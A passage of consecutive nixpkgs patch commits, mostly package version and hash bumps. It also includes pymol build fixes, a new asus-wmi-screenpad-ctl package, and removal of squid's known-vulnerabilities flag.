+    platforms = lib.platforms.linux;
     outputsToInstall = [ "out" ];
   };
 }

From 1d5d9e6424bb269404c856463daacf6110aebc44 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 31 Jul 2025 18:20:30 +0000
Subject: [PATCH 3083/4511] tokyonight-gtk-theme: 0-unstable-2025-07-21 ->
 0-unstable-2025-07-28

(cherry picked from commit 7302ad31fc49db0e165ec416c7cab9cc6d16afdd)
---
 pkgs/by-name/to/tokyonight-gtk-theme/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tokyonight-gtk-theme/package.nix b/pkgs/by-name/to/tokyonight-gtk-theme/package.nix
index c84b969b453a..3ca47fe9f60c 100644
--- a/pkgs/by-name/to/tokyonight-gtk-theme/package.nix
+++ b/pkgs/by-name/to/tokyonight-gtk-theme/package.nix
@@ -71,13 +71,13 @@ lib.checkListOfEnum "${pname}: colorVariants" colorVariantList colorVariants lib
   stdenvNoCC.mkDerivation
   {
     inherit pname;
-    version = "0-unstable-2025-07-21";
+    version = "0-unstable-2025-07-28";
 
     src = fetchFromGitHub {
       owner = "Fausto-Korpsvart";
       repo = "Tokyonight-GTK-Theme";
-      rev = "803334a2d85ff60597e1ddd6a593462acc570298";
-      hash = "sha256-aJWyMz1FZnGOH5YXiGa9NBlNY5JRw7J7SWqt5XGKznU=";
+      rev = "1814af889223404b60b7a8c6eca61374c76b37ab";
+      hash = "sha256-LVmv7yadNZPDQruHVdiFiZCpIqFN8NU6S0vQ74RZSLc=";
     };
 
     propagatedUserEnvPkgs = [ gtk-engine-murrine ];

From 2452f86197da36954f8a3712d6fceef16603e492 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Thu, 31 Jul 2025 12:30:42 +0100
Subject: [PATCH 3084/4511] nexusmods-app: 0.13.4 -> 0.14.3

https://github.com/Nexus-Mods/NexusMods.App/releases/tag/v0.14.3
(cherry picked from commit 472875ce6fd460d4b3e85516d3db620ba908b1e5)
---
 pkgs/by-name/ne/nexusmods-app/deps.json   | 44 +++++++++++------------
 pkgs/by-name/ne/nexusmods-app/package.nix |  7 ++--
 2 files changed, 27 insertions(+), 24 deletions(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/deps.json b/pkgs/by-name/ne/nexusmods-app/deps.json
index f73fca4450dd..5f67beee978b 100644
--- a/pkgs/by-name/ne/nexusmods-app/deps.json
+++ b/pkgs/by-name/ne/nexusmods-app/deps.json
@@ -361,58 +361,58 @@
   },
   {
     "pname": "GameFinder",
-    "version": "4.7.3",
-    "hash": "sha256-tUUvWC8/HTFvESqSPN2HMnGkf6OroDBpHCbqo1ThD/8="
+    "version": "4.9.0",
+    "hash": "sha256-cuoMMfh5adQgVh9ZNqZ3mF9bLoArXRuzzZ6TIdFkh+M="
   },
   {
     "pname": "GameFinder.Common",
-    "version": "4.7.3",
-    "hash": "sha256-lPTPiywObx6SEaBKuL25+eLdfVHuWb1x14Q7aMpXLMQ="
+    "version": "4.9.0",
+    "hash": "sha256-1PXCCLN+TjDtnMZo8NnxE3MKJb1CUkRNYiD1SeWkdTE="
   },
   {
     "pname": "GameFinder.Launcher.Heroic",
-    "version": "4.7.3",
-    "hash": "sha256-Rp9I0XfW4KhyOSgyPzhR9aHYVcLDwUnpmvTjowviWC8="
+    "version": "4.9.0",
+    "hash": "sha256-g0suL5aVnDXFltlKzuds8PQxVCEtNsNdl52owlSg0jg="
   },
   {
     "pname": "GameFinder.RegistryUtils",
-    "version": "4.7.3",
-    "hash": "sha256-Z4IbxyMx6apZt9SYfDFvWD8I/qSP2S4kEz8hXym96KY="
+    "version": "4.9.0",
+    "hash": "sha256-mjGWEwpbxNdiljl7x+kWjnVysNBwcHC/zv9Z92HN5CM="
   },
   {
     "pname": "GameFinder.StoreHandlers.EADesktop",
-    "version": "4.7.3",
-    "hash": "sha256-RbPZayuG9OJXI1aSL2d5vfjfXlEAWFz9aZrXDXX6jhM="
+    "version": "4.9.0",
+    "hash": "sha256-HqkyZh+eys58KZOz8bik4CGtCui9V1aIyQQ6mLhsGgw="
   },
   {
     "pname": "GameFinder.StoreHandlers.EGS",
-    "version": "4.7.3",
-    "hash": "sha256-99DbRfzESJZAUDd3yREb8M6Mgn8dztNQqBPyR1bsST4="
+    "version": "4.9.0",
+    "hash": "sha256-Dp2EUsWbjXKOfZF8nzWWLESgt7VadvF65iqXE8LZ45g="
   },
   {
     "pname": "GameFinder.StoreHandlers.GOG",
-    "version": "4.7.3",
-    "hash": "sha256-u0Vm9k8XAkzOdW2U6nzuRPWgMxj3QwkvFc5S4c8A/u4="
+    "version": "4.9.0",
+    "hash": "sha256-F+sAOeSdIV/85mkhWfuszSPnNEOdJB+Wul601rAVaoQ="
   },
   {
     "pname": "GameFinder.StoreHandlers.Origin",
-    "version": "4.7.3",
-    "hash": "sha256-f/saANmx8zYrZ+G3xbsy2w7mQwC0Jmb5WpUSlZNyzJU="
+    "version": "4.9.0",
+    "hash": "sha256-l1WIlBYoA04eK0k1EU8C46MdEeNXix5MIWCo67Dzhlo="
   },
   {
     "pname": "GameFinder.StoreHandlers.Steam",
-    "version": "4.7.3",
-    "hash": "sha256-5WtdyR1/xX+Ra5ldlvM0leIgc8gTGaPKAFOC/KTHGk8="
+    "version": "4.9.0",
+    "hash": "sha256-Cw7eMevnbyJz3N4jUfWZ9SsQvMEbtFKHgc6HPnDD3+Y="
   },
   {
     "pname": "GameFinder.StoreHandlers.Xbox",
-    "version": "4.7.3",
-    "hash": "sha256-Z9RpXomR53mLhD0WH7pCYxmnQIAsGiBVqUgs4I0ZO4w="
+    "version": "4.9.0",
+    "hash": "sha256-/lkl+POQgiwlYxNJ4h4Dtp7w+hI5YUDv1sizAk8FCzc="
   },
   {
     "pname": "GameFinder.Wine",
-    "version": "4.7.3",
-    "hash": "sha256-PO8aXHEvCxBQq92GyPl3b//s4MTCU7T8mvryS4p0Hsg="
+    "version": "4.9.0",
+    "hash": "sha256-ER82DUiTnm85m65rIK7XbbIiiD2cvuu7cjF133g6yic="
   },
   {
     "pname": "Gee.External.Capstone",
diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index 783b313bcd8d..d30526f049f7 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -23,12 +23,12 @@ let
 in
 buildDotnetModule (finalAttrs: {
   inherit pname;
-  version = "0.13.4";
+  version = "0.14.3";
 
   src = fetchgit {
     url = "https://github.com/Nexus-Mods/NexusMods.App.git";
     rev = "refs/tags/v${finalAttrs.version}";
-    hash = "sha256-Ub6HjZChOhRUDYQ2TAnrwOtrW6ahP+k74vCAmLkYABA=";
+    hash = "sha256-B2gIRVeaTwYEnESMovwEJgdmLwRNA7/nJs7opNhiyyA=";
     fetchSubmodules = true;
   };
 
@@ -147,6 +147,9 @@ buildDotnetModule (finalAttrs: {
     # Fails attempting to fetch SMAPI version data from github:
     # https://github.com/erri120/smapi-versions/raw/main/data/game-smapi-versions.json
     "NexusMods.Games.StardewValley.Tests.SMAPIGameVersionDiagnosticEmitterTests.Test_TryGetLastSupportedSMAPIVersion"
+
+    # Fails attempting to fetch game info from NexusMods API
+    "NexusMods.Networking.NexusWebApi.Tests.LocalMappingCacheTests.Test_Parse"
   ]
   ++ lib.optionals (!_7zz.meta.unfree) [
     "NexusMods.Games.FOMOD.Tests.FomodXmlInstallerTests.InstallsFilesSimple_UsingRar"

From 450f15909ed7bfdc0b21c9356be5166691a35888 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Tue, 29 Jul 2025 21:42:47 +0200
Subject: [PATCH 3085/4511] pymol: fix build

(cherry picked from commit 6d9211aedb1bddf2534a2006b3a98bf03211fd4f)
---
 pkgs/by-name/py/pymol/package.nix | 26 ++++++++++++++++++++++++--
 1 file changed, 24 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/py/pymol/package.nix b/pkgs/by-name/py/pymol/package.nix
index 8f7ec4ba9374..fba0e2beff63 100644
--- a/pkgs/by-name/py/pymol/package.nix
+++ b/pkgs/by-name/py/pymol/package.nix
@@ -2,6 +2,7 @@
   stdenv,
   lib,
   fetchFromGitHub,
+  fetchpatch,
   makeDesktopItem,
   cmake,
   python3Packages,
@@ -57,11 +58,31 @@ python3Packages.buildPythonApplication rec {
 
   # A script is already created by the `[project.scripts]` directive
   # in `pyproject.toml`.
-  patches = [ ./script-already-exists.patch ];
+  patches = [ 
+    ./script-already-exists.patch
+
+    # Fix python3.13 and numpy 2 compatibility
+    (fetchpatch {
+      url="https://github.com/schrodinger/pymol-open-source/commit/fef4a026425d195185e84d46ab88b2bbd6d96cf8.patch";
+      hash = "sha256-F/5UcYwgHgcMQ+zeigedc1rr3WkN9rhxAxH+gQfWKIY=";
+    })
+    (fetchpatch {
+      url="https://github.com/schrodinger/pymol-open-source/commit/97cc1797695ee0850621762491e93dc611b04165.patch";
+      hash = "sha256-H2PsRFn7brYTtLff/iMvJbZ+RZr7GYElMSINa4RDYdA=";
+    })
+    # Fixes failing test testLoadPWG
+    (fetchpatch {
+      url="https://github.com/schrodinger/pymol-open-source/commit/17c6cbd96d52e9692fd298daec6c9bda273a8aad.patch";
+      hash = "sha256-dcYRzUhiaGlR3CjQ0BktA5L+8lFyVdw0+hIz3Li7gDQ=";
+    })
+  ];
 
   postPatch = ''
     substituteInPlace setup.py \
       --replace-fail "self.install_libbase" '"${placeholder "out"}/${python3Packages.python.sitePackages}"'
+
+    substituteInPlace pyproject.toml \
+      --replace-fail '"cmake>=3.13.3",' ""
   '';
 
   env.PREFIX_PATH = lib.optionalString (!stdenv.hostPlatform.isDarwin) "${msgpack}";
@@ -74,7 +95,7 @@ python3Packages.buildPythonApplication rec {
   ];
 
   buildInputs = [
-    python3Packages.numpy_1
+    python3Packages.numpy
     python3Packages.pyqt5
     qt5.qtbase
     glew
@@ -115,6 +136,7 @@ python3Packages.buildPythonApplication rec {
     python3Packages.msgpack
     pillow
     pytestCheckHook
+    requests
   ];
 
   # some tests hang for some reason

From 7b3ca855085ce2c74f757f215cd109f1e49c2101 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Tue, 29 Jul 2025 21:46:48 +0200
Subject: [PATCH 3086/4511] pymol: modernize

(cherry picked from commit b46ff3e4a7478a5fc9427f33d603c5f7988bb675)
---
 pkgs/by-name/py/pymol/package.nix | 21 ++++++++++++---------
 1 file changed, 12 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/py/pymol/package.nix b/pkgs/by-name/py/pymol/package.nix
index fba0e2beff63..be5a4da207e6 100644
--- a/pkgs/by-name/py/pymol/package.nix
+++ b/pkgs/by-name/py/pymol/package.nix
@@ -58,21 +58,21 @@ python3Packages.buildPythonApplication rec {
 
   # A script is already created by the `[project.scripts]` directive
   # in `pyproject.toml`.
-  patches = [ 
+  patches = [
     ./script-already-exists.patch
 
     # Fix python3.13 and numpy 2 compatibility
     (fetchpatch {
-      url="https://github.com/schrodinger/pymol-open-source/commit/fef4a026425d195185e84d46ab88b2bbd6d96cf8.patch";
+      url = "https://github.com/schrodinger/pymol-open-source/commit/fef4a026425d195185e84d46ab88b2bbd6d96cf8.patch";
       hash = "sha256-F/5UcYwgHgcMQ+zeigedc1rr3WkN9rhxAxH+gQfWKIY=";
     })
     (fetchpatch {
-      url="https://github.com/schrodinger/pymol-open-source/commit/97cc1797695ee0850621762491e93dc611b04165.patch";
+      url = "https://github.com/schrodinger/pymol-open-source/commit/97cc1797695ee0850621762491e93dc611b04165.patch";
       hash = "sha256-H2PsRFn7brYTtLff/iMvJbZ+RZr7GYElMSINa4RDYdA=";
     })
     # Fixes failing test testLoadPWG
     (fetchpatch {
-      url="https://github.com/schrodinger/pymol-open-source/commit/17c6cbd96d52e9692fd298daec6c9bda273a8aad.patch";
+      url = "https://github.com/schrodinger/pymol-open-source/commit/17c6cbd96d52e9692fd298daec6c9bda273a8aad.patch";
       hash = "sha256-dcYRzUhiaGlR3CjQ0BktA5L+8lFyVdw0+hIz3Li7gDQ=";
     })
   ];
@@ -95,8 +95,6 @@ python3Packages.buildPythonApplication rec {
   ];
 
   buildInputs = [
-    python3Packages.numpy
-    python3Packages.pyqt5
     qt5.qtbase
     glew
     glm
@@ -110,6 +108,11 @@ python3Packages.buildPythonApplication rec {
     msgpack
   ];
 
+  dependencies = with python3Packages; [
+    numpy
+    pyqt5
+  ];
+
   env.NIX_CFLAGS_COMPILE = "-I ${libxml2.dev}/include/libxml2";
 
   postInstall =
@@ -173,12 +176,12 @@ python3Packages.buildPythonApplication rec {
     wrapQtApp "$out/bin/pymol"
   '';
 
-  meta = with lib; {
+  meta = {
     inherit description;
     mainProgram = "pymol";
     homepage = "https://www.pymol.org/";
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
       natsukium
       samlich
     ];

From 45f7b1605b23965483d8dd007393e5ebced516bb Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 31 Jul 2025 21:52:46 +0000
Subject: [PATCH 3087/4511] dust: 1.2.2 -> 1.2.3

Changelog: https://github.com/bootandy/dust/releases/tag/v1.2.3
Diff: https://github.com/bootandy/dust/compare/v1.2.2...v1.2.3

(cherry picked from commit 12e1a345a4a2d97472c35dae5889ca036c58d8b9)
---
 pkgs/by-name/du/dust/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index 9ec638ec6c1f..fc7548d8682d 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -12,13 +12,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # Since then, `dust` has been freed up, allowing this package to take that attribute.
   # However in order for tools like `nix-env` to detect package updates, keep `du-dust` for pname.
   pname = "du-dust";
-  version = "1.2.2";
+  version = "1.2.3";
 
   src = fetchFromGitHub {
     owner = "bootandy";
     repo = "dust";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-tj+prO7KZrw0lrZahbw0c8TcfNrIc1Z08Tm1MHpOFLM=";
+    hash = "sha256-AB7NTiH9Q2SNIxFXsVTPHFs+DDVRn3egk7rZKgtYs0c=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.
     postFetch = ''
@@ -26,8 +26,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
   };
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-1pKk41dQlcrPzJ01uvo87G9iTDiBq9XHGOoZ0OH4Mls=";
+  cargoHash = "sha256-TE+VkMDcfTMSyclyRf1HiNF7Q+qgIVI5x/f8Cou/4I4=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 4e3b5d72bdf323aa5edbed4ed572caa8b645d8ad Mon Sep 17 00:00:00 2001
From: Claude Doppler <longregen@opengarden.tech>
Date: Thu, 31 Jul 2025 18:59:35 +0200
Subject: [PATCH 3088/4511] squid: remove knownVulnerabilities for 7.0+

In the past, it has been brought up that Squid had many security vulnerabilities
(see https://megamansec.github.io/Squid-Security-Audit/). As of version 7.0,
all of them have been solved, as tracked in their GitHub Security page:
https://github.com/squid-cache/squid/security

(cherry picked from commit f7ab04ac4306ea0331c3cb37d2e97119efe56af4)
---
 pkgs/by-name/sq/squid/package.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sq/squid/package.nix b/pkgs/by-name/sq/squid/package.nix
index e7d3c325e1ac..569c9f556f2e 100644
--- a/pkgs/by-name/sq/squid/package.nix
+++ b/pkgs/by-name/sq/squid/package.nix
@@ -101,8 +101,10 @@ stdenv.mkDerivation (finalAttrs: {
     license = licenses.gpl2Plus;
     platforms = platforms.linux;
     maintainers = with maintainers; [ raskin ];
-    knownVulnerabilities = [
-      "Squid has multiple unresolved security vulnerabilities, for more information see https://megamansec.github.io/Squid-Security-Audit/"
-    ];
+    # In the past, it has been brought up that Squid had many security vulnerabilities
+    # (see https://megamansec.github.io/Squid-Security-Audit/). As of version 7.0,
+    # all of them have been solved, as tracked in their GitHub Security page:
+    # https://github.com/squid-cache/squid/security
+    knownVulnerabilities = [ ];
   };
 })

From 9016830251e15dd71d621acd1e17e2b6e8615ee6 Mon Sep 17 00:00:00 2001
From: Jason Yundt <jason@jasonyundt.email>
Date: Sat, 12 Jul 2025 14:26:15 -0400
Subject: [PATCH 3089/4511] vkquake: add meta.license

Source: <https://github.com/Novum/vkQuake/blob/d5ec19e23da7b77bcb83131dada307f112a08b1c/Quake/quakever.h#L1-L19>

Related to #43716.

(cherry picked from commit 6f7b843d437131dd9bcf1660f748803d560c5906)
---
 pkgs/games/quakespasm/vulkan.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/games/quakespasm/vulkan.nix b/pkgs/games/quakespasm/vulkan.nix
index 9a1e130ad500..d2e5d519952c 100644
--- a/pkgs/games/quakespasm/vulkan.nix
+++ b/pkgs/games/quakespasm/vulkan.nix
@@ -112,5 +112,6 @@ stdenv.mkDerivation (finalAttrs: {
       ylh
     ];
     mainProgram = "vkquake";
+    license = lib.licenses.gpl2Plus;
   };
 })

From e3bf731faf015377fa54071a54a24e0c889aa2bf Mon Sep 17 00:00:00 2001
From: Alden Parker <ajparker1401@gmail.com>
Date: Fri, 13 Jun 2025 16:34:31 -0700
Subject: [PATCH 3090/4511] asus-wmi-screenpad-ctl: init at 1.0.0

fix

vscode: 1.101.1 -> 1.101.2

fix

(cherry picked from commit 72b76af1f2be066001d6efd596eb687555c23dae)
---
 .../as/asus-wmi-screenpad-ctl/package.nix     | 33 +++++++++++++++++++
 1 file changed, 33 insertions(+)
 create mode 100644 pkgs/by-name/as/asus-wmi-screenpad-ctl/package.nix

diff --git a/pkgs/by-name/as/asus-wmi-screenpad-ctl/package.nix b/pkgs/by-name/as/asus-wmi-screenpad-ctl/package.nix
new file mode 100644
index 000000000000..aa1b7241145b
--- /dev/null
+++ b/pkgs/by-name/as/asus-wmi-screenpad-ctl/package.nix
@@ -0,0 +1,33 @@
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  nix-update-script,
+}:
+let
+  version = "1.0.0";
+in
+rustPlatform.buildRustPackage {
+  pname = "asus-wmi-screenpad-ctl";
+  inherit version;
+
+  src = fetchFromGitHub {
+    repo = "asus-wmi-screenpad-ctl";
+    owner = "aldenparker";
+    tag = "v${version}";
+    hash = "sha256-TV61Kh8A7PFJPRONqeCK1xEK2AHfiV/eoZOCL0SZ+5M=";
+  };
+
+  cargoHash = "sha256-ZluFoV9TclY6NOB5sHBN+1ht3zovmb4H+q7qT/Ywwmc=";
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Brightness control program for the asus-wmi-screenpad kernel module";
+    mainProgram = "asus-wmi-screenpad-ctl";
+    homepage = "https://github.com/aldenparker/asus-wmi-screenpad-ctl";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ aldenparker ];
+    platforms = lib.platforms.linux;
+  };
+}

From f9b8af5c75e4931004681cde44ebc51bb0fc005f Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 1 Aug 2025 15:25:14 +0200
Subject: [PATCH 3091/4511] models-dev: 0-unstable-2025-07-31 ->
 0-unstable-2025-08-01

(cherry picked from commit 7af92bd30324b8b21f715404074ae59e7f460bed)
---
 pkgs/by-name/mo/models-dev/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index 0c0ffbf851ba..feda2dc96cb6 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -9,20 +9,20 @@
 
 let
   models-dev-node-modules-hash = {
-    "aarch64-darwin" = "sha256-2EVW5zQTcqH9zBYAegWj/Wtb0lYHZwA7Bbqs3gRjcx0=";
-    "aarch64-linux" = "sha256-nJgFnszwvknqA21uaqlGQQ1x+4ztKx0/tEvcNrv1LJg=";
-    "x86_64-darwin" = "sha256-Un6UxmvsmBuDdUwcWnu4qb0nPN1V1PFJi4VGVkNh/YU=";
-    "x86_64-linux" = "sha256-nlL+Ayacxz4fm404cABORSVGQcNxb3cB4mOezkrI90U=";
+    "aarch64-darwin" = "sha256-099Y+7cLtSQ0s71vxUGEochQSpCv1hbkwYbWx/eOvhY=";
+    "aarch64-linux" = "sha256-fOmp7UyszqpR04f5TW0pU96IO7euaxX9fBMtwoqIMY4=";
+    "x86_64-darwin" = "sha256-OsJDPCsEAAcXzgI/QrtfXXb2jc82pp6ldHuA4Ps8OpM=";
+    "x86_64-linux" = "sha256-Enx27ag7D0Qeb/ss/7zTQ1XSukyPzOMMK7pTYHqQUMs=";
   };
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-31";
+  version = "0-unstable-2025-08-01";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "60f2d80bc087ded768a8c6c36981f43822871c78";
-    hash = "sha256-mE+ptgTETbF/QIhMwOOVkbT9Jeus8ceGbninagPqgeU=";
+    rev = "2e3f718c40e8868c2487b7275131b2e054feb462";
+    hash = "sha256-P7Q03I68ih2eKNfPkpzkIuvKcHLsrk8yxWbFCw74Pjg=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From 8070bf89060cc0fe8fd50a1178876790e126151e Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 1 Aug 2025 14:59:43 +0200
Subject: [PATCH 3092/4511] opencode: 0.3.85 -> 0.3.110

Use `modRoot` to specify the `go.mod` subdirectory instead of
restricting `src` to `packages/tui`. This allows the entire repository,
including `packages/sdk`, to be available during the Go module build.

(cherry picked from commit 62f7429525316bcee962f157bf89615018a51024)
---
 pkgs/by-name/op/opencode/package.nix | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 070f4b02f41c..2a6a37040f33 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -12,10 +12,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-iPMaEpepvKCb0VEUQPy4to6kwgSKnVsMbckVEYF+58E=";
-    "aarch64-linux" = "sha256-Ybf8MiiCHHEMQGqc4PGPHvcfons+sLvhO4UkWQghJ34=";
-    "x86_64-darwin" = "sha256-5ULx3Y7RmMggyMp7eGN7XFCKvoIqW7W7lHaTlgjBLWo=";
-    "x86_64-linux" = "sha256-ZtZvS0jF2YpkDeCdP2y1qX4fJVMq8BBq6EFwqvDEfdc=";
+    "aarch64-darwin" = "sha256-U/pDT9bxwsMf7E/LywxVasqNC46cF+GCqbrUmcVtzTE=";
+    "aarch64-linux" = "sha256-LOy/k8yeUEDe3FFDAgXGJ2BVIxMFy/Js0cgFbtThiDo=";
+    "x86_64-darwin" = "sha256-lZRV/CqGXgvAtzFZS4w9ry5yqHT4EYuQ4exuDdXCxBY=";
+    "x86_64-linux" = "sha256-qW/5VKxGuIARVOMPflET74mvIMootj4QHBt2X9sH094=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -26,20 +26,21 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.3.85";
+  version = "0.3.110";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-7L50P3+u4SHQtjSdFJviPaeLFnOIGP/l4BFLHKm4pNs=";
+    hash = "sha256-2fvUSbQWBxjXLRfVFwJ6VNO2tx+qGa+IDRCSwFPqw+o=";
   };
 
   tui = buildGoModule {
     pname = "opencode-tui";
-    inherit (finalAttrs) version;
-    src = "${finalAttrs.src}/packages/tui";
+    inherit (finalAttrs) version src;
 
-    vendorHash = "sha256-+j8+TjTzd7AH9Si9tS7noTpPcG1lz9j+tmxUTrPcThw=";
+    modRoot = "packages/tui";
+
+    vendorHash = "sha256-nBwYVaBau1iTnPY3d5F/5/ENyjMCikpQYNI5whEJwBk=";
 
     subPackages = [ "cmd/opencode" ];
 

From 4d9c0c2f06e12f11285ae74933d29867b9ceb440 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 21 Jul 2025 16:48:03 +0200
Subject: [PATCH 3093/4511] cacert: 3.113.1 -> 3.114

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_114.rst
(cherry picked from commit bd554819709ea70f397965aec1696fb38e1c3e7b)
---
 pkgs/by-name/ca/cacert/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ca/cacert/package.nix b/pkgs/by-name/ca/cacert/package.nix
index 0ff9953cdc89..67f54f65cc11 100644
--- a/pkgs/by-name/ca/cacert/package.nix
+++ b/pkgs/by-name/ca/cacert/package.nix
@@ -23,7 +23,7 @@ let
     lib.concatStringsSep "\n\n" extraCertificateStrings
   );
 
-  srcVersion = "3.113.1";
+  srcVersion = "3.114";
   version = if nssOverride != null then nssOverride.version else srcVersion;
   meta = with lib; {
     homepage = "https://curl.haxx.se/docs/caextract.html";
@@ -47,7 +47,7 @@ let
           owner = "nss-dev";
           repo = "nss";
           rev = "NSS_${lib.replaceStrings [ "." ] [ "_" ] version}_RTM";
-          hash = "sha256-Yfs9Hh98ASJe1D4qyQEXaTC2xjeDI2Cdxp5Xgy0rYdQ=";
+          hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
         };
 
     dontBuild = true;

From 0404b2aee1b92999739f46ef9e26df519ac85c08 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 00:36:13 +0000
Subject: [PATCH 3094/4511] changie: 1.21.1 -> 1.22.0

(cherry picked from commit 9781093779fea7d33600747de99351bb9ca719ee)
---
 pkgs/by-name/ch/changie/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/changie/package.nix b/pkgs/by-name/ch/changie/package.nix
index 7be69fdfbdf4..dee815b93261 100644
--- a/pkgs/by-name/ch/changie/package.nix
+++ b/pkgs/by-name/ch/changie/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "changie";
-  version = "1.21.1";
+  version = "1.22.0";
 
   src = fetchFromGitHub {
     owner = "miniscruff";
     repo = "changie";
     rev = "v${version}";
-    hash = "sha256-zLRMH5TxEz/fspMOPAMTEqO19fj9PZsRh6zddbTqSXM=";
+    hash = "sha256-tq29L9YlzhjbHkUfE0ZZhSrH+rcAwgYjcEAUjP/lHm8=";
   };
 
-  vendorHash = "sha256-LWf10MM9SBU9sHb59c6ILlsHs8E8ETYAR34296aeHlI=";
+  vendorHash = "sha256-nAwBVa+UssbfFbcOWFcsWUllBTeW89xPcgS+ofXDPf0=";
 
   nativeBuildInputs = [
     installShellFiles

From fa4cbb585b9d117b322945ec9f2d664bbea0ccea Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 27 Jul 2025 20:30:06 +0000
Subject: [PATCH 3095/4511] changie: 1.22.0 -> 1.22.1

(cherry picked from commit 9086fc179a63b8b3fefb3ddeb08b5397ee7b2bcf)
---
 pkgs/by-name/ch/changie/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/changie/package.nix b/pkgs/by-name/ch/changie/package.nix
index dee815b93261..b243154036e5 100644
--- a/pkgs/by-name/ch/changie/package.nix
+++ b/pkgs/by-name/ch/changie/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "changie";
-  version = "1.22.0";
+  version = "1.22.1";
 
   src = fetchFromGitHub {
     owner = "miniscruff";
     repo = "changie";
     rev = "v${version}";
-    hash = "sha256-tq29L9YlzhjbHkUfE0ZZhSrH+rcAwgYjcEAUjP/lHm8=";
+    hash = "sha256-JXVrOZKm8whmc3LkCDsbZkNcYMgiolp9dgnZFPYCtAs=";
   };
 
-  vendorHash = "sha256-nAwBVa+UssbfFbcOWFcsWUllBTeW89xPcgS+ofXDPf0=";
+  vendorHash = "sha256-bUopfHd6/0dd3OuxQMW9ZNsZtVqnRSDRqZLkfaQq12I=";
 
   nativeBuildInputs = [
     installShellFiles

From fb9fe17242d6a244f806af63e3f6aa2d746a7e41 Mon Sep 17 00:00:00 2001
From: blackzeshi <105582686+zeshi09@users.noreply.github.com>
Date: Mon, 19 May 2025 13:46:50 +0500
Subject: [PATCH 3096/4511] caido: 0.48.0 -> 0.48.1

(cherry picked from commit 080bd122dd639ab6453992cc37d287f7eb78e630)
---
 pkgs/by-name/ca/caido/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ca/caido/package.nix b/pkgs/by-name/ca/caido/package.nix
index b33624ff8661..c9953ffc5013 100644
--- a/pkgs/by-name/ca/caido/package.nix
+++ b/pkgs/by-name/ca/caido/package.nix
@@ -15,14 +15,14 @@ let
     "cli"
     "desktop"
   ];
-  version = "0.48.0";
